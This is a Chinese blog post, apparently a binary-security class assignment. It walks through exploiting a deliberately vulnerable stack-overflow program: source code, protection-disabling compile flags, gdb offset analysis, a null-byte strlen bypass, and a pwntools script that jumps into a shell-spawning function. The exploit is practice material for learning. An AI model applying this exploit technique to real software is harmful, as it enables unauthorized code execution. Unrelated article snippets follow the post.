【二進制安全作業】250616課上作業2 - 棧溢出漏洞利用

文章目錄

  • 前言
  • 一、使用環境
  • 二、程序源碼
    • 1. C語言源碼
    • 2. 編譯方式
  • 三、源碼分析
  • 四、反匯編分析
    • 1. 檢查文件安全性
    • 2. 查找目標函數
    • 3. 計算偏移量
    • 4. 繞過 strlen
    • 5. 繞過 if
  • 五、編寫EXP
  • 結語


前言

直接進入正題


一、使用環境

處理器架構:x86_64
操作系統:Ubuntu24.04.2
GDB版本:GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git


二、程序源碼

1. C語言源碼

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>void y0u_c4n7_533_m3()
{int allow = 0;if (allow) {execve("/bin/sh", 0, 0);}else {puts("Oh no~~~!");exit(0);}
}int main()
{char buf[16];puts("This is your second bof challenge ;)");fflush(stdout);read(0, buf, 0x30);if (strlen(buf) >= 16) {puts("Bye bye~~");exit(0);}return 0;
}

2. 編譯方式

gcc bof2.c -fno-stack-protector -no-pie -o bof2

三、源碼分析

從源碼可以看到,和上一篇相比區別不大,只是在 24 行和 9 行加了兩個驗證,所以這一篇的核心就是怎么繞過這兩個驗證。


四、反匯編分析

1. 檢查文件安全性

養成習慣:
在這里插入圖片描述
和上一篇比沒有變化,不再多說。

2. 查找目標函數

在這里插入圖片描述
函數地址在 0x400697

3. 計算偏移量

通過源碼可以知道,這個程序存在著 strlen 對輸入字符串長度的驗證,當字符串長度超過16時,程序會結束,所以沒辦法通過輸入超長字符串的方式來測試偏移量的位置,這里我就用我的老方法來計算了。

把斷點打在輸入字符串的下一行:
在這里插入圖片描述
執行程序并輸入字符串,然后查看棧:
在這里插入圖片描述
輸入字符串的位置在 0x7fffffffe050 ,棧底在 0x7fffffffe060,所以跳轉的地址在 0x7fffffffe068。偏移量為 0x18 ,和上一道題一樣。

4. 繞過 strlen

先來看一看反匯編:
在這里插入圖片描述
雖然這里就算不懂匯編也可以輕松繞過,但還是簡單講一下匯編。

可以看到在 +52 處調用了 read ,在 +64 處調用了 strlen,+69 處在用 0xf 和 rax 進行比較(cmp是compare,比較指令),0xf 是 16,所以很容易判斷這里是在進行字符串長度和 16 的比較,也就可以判斷出 strlen 的返回值是保存在 rax 中的。

再下一條的 jbe(jump if below or equal) 表示的是小于等于則跳轉,跳轉到 main+97 ,才能執行到 leave 和 ret ,達成我們利用 ret 跳轉到指定地址的目的。如果此處不跳轉,則會執行一條 puts 的輸出,然后執行 exit 退出程序。

strlen 匯編的執行邏輯就不看了,學過C應該知道,這個函數的作用是計算字符串的長度,而字符串是以 \0 結尾的,也就是說 strlen 計算字符串的長度,只會計算到 \0 ,我們可以利用這個特性來繞過 strlen 對字符串長度的檢測。

先來測試一下:

在 main+57 處打斷點,然后執行程序,輸入計算偏移量的字符串:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

此時程序停在這個位置:
在這里插入圖片描述
棧里是這個樣子:
在這里插入圖片描述
我們知道字符串就是從 rsp 的位置開始的,所以直接修改字符串的第一個字符:

set {char}$rsp = '\x00'

修改后:
在這里插入圖片描述
我們再在 ret 處打個斷點,然后執行:
在這里插入圖片描述
可見此時雖然我們輸出的字符串長度是100,但是程序仍然執行到 ret 了,并沒有退出,此時已經繞過成功了。

5. 繞過 if

先看一眼目標函數的反匯編:
在這里插入圖片描述
閱讀匯編代碼可以發現,是因為執行了 +19 處 je(jump if equal) 的跳轉,程序才調用了 puts 和 exit ,所以最簡單的思路就是,不要讓它跳,我們既然可以通過地址跳轉來執行函數,自然也可以通過地址跳轉直接進入到函數內的某一行,函數的開始地址在 0x400697 ,但是我們可以直接從 0x4006ac 進入函數,來繞過它的判斷。

所以此時我們的目標地址是 0x4006ac

五、編寫EXP

理解了繞過原理就可以知道,其實和上一道題是大差不差的,我們直接把上一道題的 exp 拿過來修改一下:

from pwn import *context.arch = "amd64"
context.os = "linux"def exp():offset = 24func_addr = 0x4006acexp = b'\x00' + b'A' * (offset - 1) + p64(func_addr)with process('./bof2') as p:p.sendlineafter(b')', exp)p.interactive()if __name__ == '__main__':exp()

只修改了 func_addr 和 exp 的第一個字節。還有程序名。

執行:
在這里插入圖片描述
成功。


結語

感謝關注評論點贊收藏。

還有兩篇,但難度要大很多,今天寫一部分,未必能寫完了,爭取明天全肝出來。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/84504.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/84504.shtml
英文地址,請注明出處:http://en.pswp.cn/web/84504.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Python類型處理與推導式

歡迎來到啾啾的博客&#x1f431;。 記錄學習點滴。分享工作思考和實用技巧&#xff0c;偶爾也分享一些雜談&#x1f4ac;。 有很多很多不足的地方&#xff0c;歡迎評論交流&#xff0c;感謝您的閱讀和評論&#x1f604;。 目錄 1 引言2 類型處理3 高效操作AI開發常見數據結構3…

數據庫char字段做trim之后查詢很慢的解決方式

select * from TABLE0 where trim(column1):param 當表數據量大時&#xff0c;即使給column1字段加上索引&#xff0c;這條查詢語句也會很慢。 因為使用trim函數后&#xff0c;column1的索引會失效&#xff0c;有兩種處理方法&#xff1a; 1.給表加上trim(column1)函數索引 …

Kafka核心架構解析:從CAP理論到消息可靠性的設計哲學

摘要 本文從分布式系統CAP理論和消息可靠性兩個視角深入解析Kafka的架構設計&#xff0c;通過概念關系圖和組件交互圖揭示其核心設計思想&#xff0c;并詳細拆解各組件功能與協作機制。文章包含完整的交互流程分析和配置參數說明&#xff0c;是理解Kafka設計精髓的實用指南。 一…

LeetCode 275.H指數 II

題目&#xff1a; 給你一個整數數組 citations &#xff0c;其中 citations[i] 表示研究者的第 i 篇論文被引用的次數&#xff0c;citations 已經按照 非降序排列 。計算并返回該研究者的 h 指數。 h 指數的定義&#xff1a;h 代表“高引用次數”&#xff08;high citations&…

OV汽車攝像頭cmos sensor 相關情況介紹

OV汽車攝像頭cmos sensor 相關情況介紹 文章目錄 OV汽車攝像頭cmos sensor 相關情況介紹**1. 汽車攝像頭三大場景應用****2. 車載CMOS SENSOR的核心技術****3. 兩大車規認證:實現真正的車規可靠性****4. 最新產品**2022年,汽車智能化加碼提速,被譽為“智能駕駛之眼”的車載攝…

Pinia在多步驟表單中的實踐應用

引言 Pinia是Vue 3推薦的狀態管理庫&#xff0c;相比Vuex提供了更簡潔的API、更好的TypeScript支持和更靈活的組合式風格。本文基于實際項目代碼&#xff0c;詳細介紹Pinia在多步驟表單場景中的應用方法。 1. Pinia Store的創建與設計 1.1 基礎Store結構 在src/store/modul…

目標檢測之YOLOV11的環境搭建

1 創建虛擬環境 conda create -n yolov11 python3.9 conda activate yolov112 安裝ultralytics 默認是有cuda的情況下 # Install all packages together using conda conda install pytorch torchvision conda 還不能直接安裝ultralytics&#xff0c;需要通過pip進行安裝 …

Android 構建配置中的變量(通常在設備制造商或定制 ROM 的 AndroidProducts.mk 或產品配置文件中定義)

以下是 Android 構建系統中常見的用于產品配置、資源復制和構建規則的變量 1. PRODUCT_COPY_FILES 作用&#xff1a;指定需要從源碼樹復制到鏡像的文件。示例&#xff1a;PRODUCT_COPY_FILES \device/manufacturer/device_name/file.conf:$(TARGET_COPY_OUT_VENDOR)/etc/file…

火山引擎項亮:機器學習與智能推薦平臺多云部署解決方案正式發布

資料來源&#xff1a;火山引擎-開發者社區 2022年7月20日&#xff0c;火山引擎2022 Force原動力大會在北京諾金酒店成功舉辦。在上午的議程中&#xff0c;《推薦系統實踐》一書的作者、同時也是火山引擎機器學習系統負責人——項亮&#xff0c;展開了題目為《開放AI基建&#x…

NVR的方法多種取決于應用場景

攝像頭接入NVR&#xff08;網絡視頻錄像機&#xff09;的方法通常取決于具體的應用場景和設備支持的功能。 一、通過局域網接入 設備連接 &#xff1a; 將攝像機通過網絡線纜連接到NVR的對應端口&#xff0c;或者將攝像機和NVR都連接到同一個路由器/交換機上&#xff0c;確保它…

JAVA從入門到精通一文搞定

博主介紹&#xff1a; 大家好&#xff0c;我是想成為Super的Yuperman&#xff0c;互聯網宇宙廠經驗&#xff0c;17年醫療健康行業的碼拉松奔跑者&#xff0c;曾擔任技術專家、架構師、研發總監負責和主導多個應用架構。 近期專注&#xff1a; DeepSeek應用&#xff0c;RPA應用研…

火山引擎發布大模型生態廣場MCP Servers,LAS MCP助力AI數據湖構建

資料來源&#xff1a;火山引擎-開發者社區 近日&#xff0c;火山引擎發布大模型生態廣場—— MCP Servers&#xff0c;借助字節跳動生態能力&#xff0c;通過“MCP Market&#xff08;工具廣場&#xff09; 火山方舟&#xff08;大模型服務&#xff09;Trae&#xff08;應用開…

NodeJS 對接 Outlook 發信服務器實現發信功能

示例代碼&#xff1a; const express require(express); const nodemailer require(nodemailer); const querystring require(querystring); const axios require(axios);const app express(); app.use(express.json());const transporter nodemailer.createTransport({…

【同聲傳譯】RealtimeSTT:超低延遲語音轉文字,支持喚醒詞與中譯英

把你說的話實時變成文字&#xff1a;RealtimeSTT 上手體驗 想找一個真正好用的語音轉文字工具嗎&#xff1f;不用等說完一整段才出結果&#xff0c;也不用反復點擊按鈕。RealtimeSTT 這個開源項目能做到??實時??轉錄&#xff0c;你說一句&#xff0c;屏幕上幾乎同時出現文…

【大模型lora微調】關于推理時如何使用 LoRA Adapter

假設你有兩部分&#xff1a; 一個是原始大模型&#xff08;base model&#xff09; 一個是保存的 LoRA Adapter&#xff08;adapter_config.json adapter_model.bin&#xff09; 不合并的情況下推理方法 你可以用 peft 的方式加載 LoRA Adapter&#xff0c;推理時這樣寫&a…

谷歌時間序列算法:零樣本預測如何重塑行業決策?

谷歌時間序列算法&#xff1a;零樣本預測如何重塑行業決策&#xff1f; TimesFM 你是否曾面臨這樣的困境&#xff1f;—— ? 需要預測新產品銷量&#xff0c;卻苦于缺乏歷史數據&#xff1b; ? 依賴傳統模型&#xff08;如ARIMA&#xff09;&#xff0c;但調參耗時且泛化能力…

國產服務器【銀河麒麟v10】【CPU鯤鵬920】部署Minio文件服務器

目錄 準備工作操作步驟1. 確認掛載點狀態2. 創建專用用戶和目錄3. 下載ARM版Minio到掛在盤4. 環境變量配置5. 更新Systemd服務配置6. 啟動、重啟7. 防火墻8. 訪問驗證9. 故障排查&#xff08;如服務未啟動&#xff09;? 結束 準備工作 環境要求&#xff1a;Linux虛擬機 操作…

解決: React Native android webview 空白頁

Android react-native-webview 之前是正常的, 升級了 react-native / react-native-webview 等 之后, 就變成了空白頁. 通過下面的修改, 可以修復, 回到正常的狀態. 來源: https://github.com/react-native-webview/react-native-webview/issues/3697 注意 ts 文件一定要改,…

高中編程教學中教師專業發展的困境與突破:基于實踐與理論的雙重審視

一、引言 1.1 研究背景 在數字化時代&#xff0c;編程已成為一項基本技能&#xff0c;其重要性日益凸顯。編程不僅是計算機科學領域的核心能力&#xff0c;更是培養學生邏輯思維、創新能力和問題解決能力的有效途徑。高中階段作為學生成長和發展的關鍵時期&#xff0c;開展編…

最小化聯邦平均(FedAvg)的算法開銷

一、通信開銷最小化 FedAvg中服務器與客戶端間的頻繁參數傳輸是主要瓶頸&#xff0c;可通過以下方法優化&#xff1a; 1. 模型壓縮技術 稀疏化&#xff1a;僅上傳重要參數更新&#xff08;如Top-k梯度&#xff09; 實現&#xff1a;客戶端本地訓練后&#xff0c;保留絕對值最…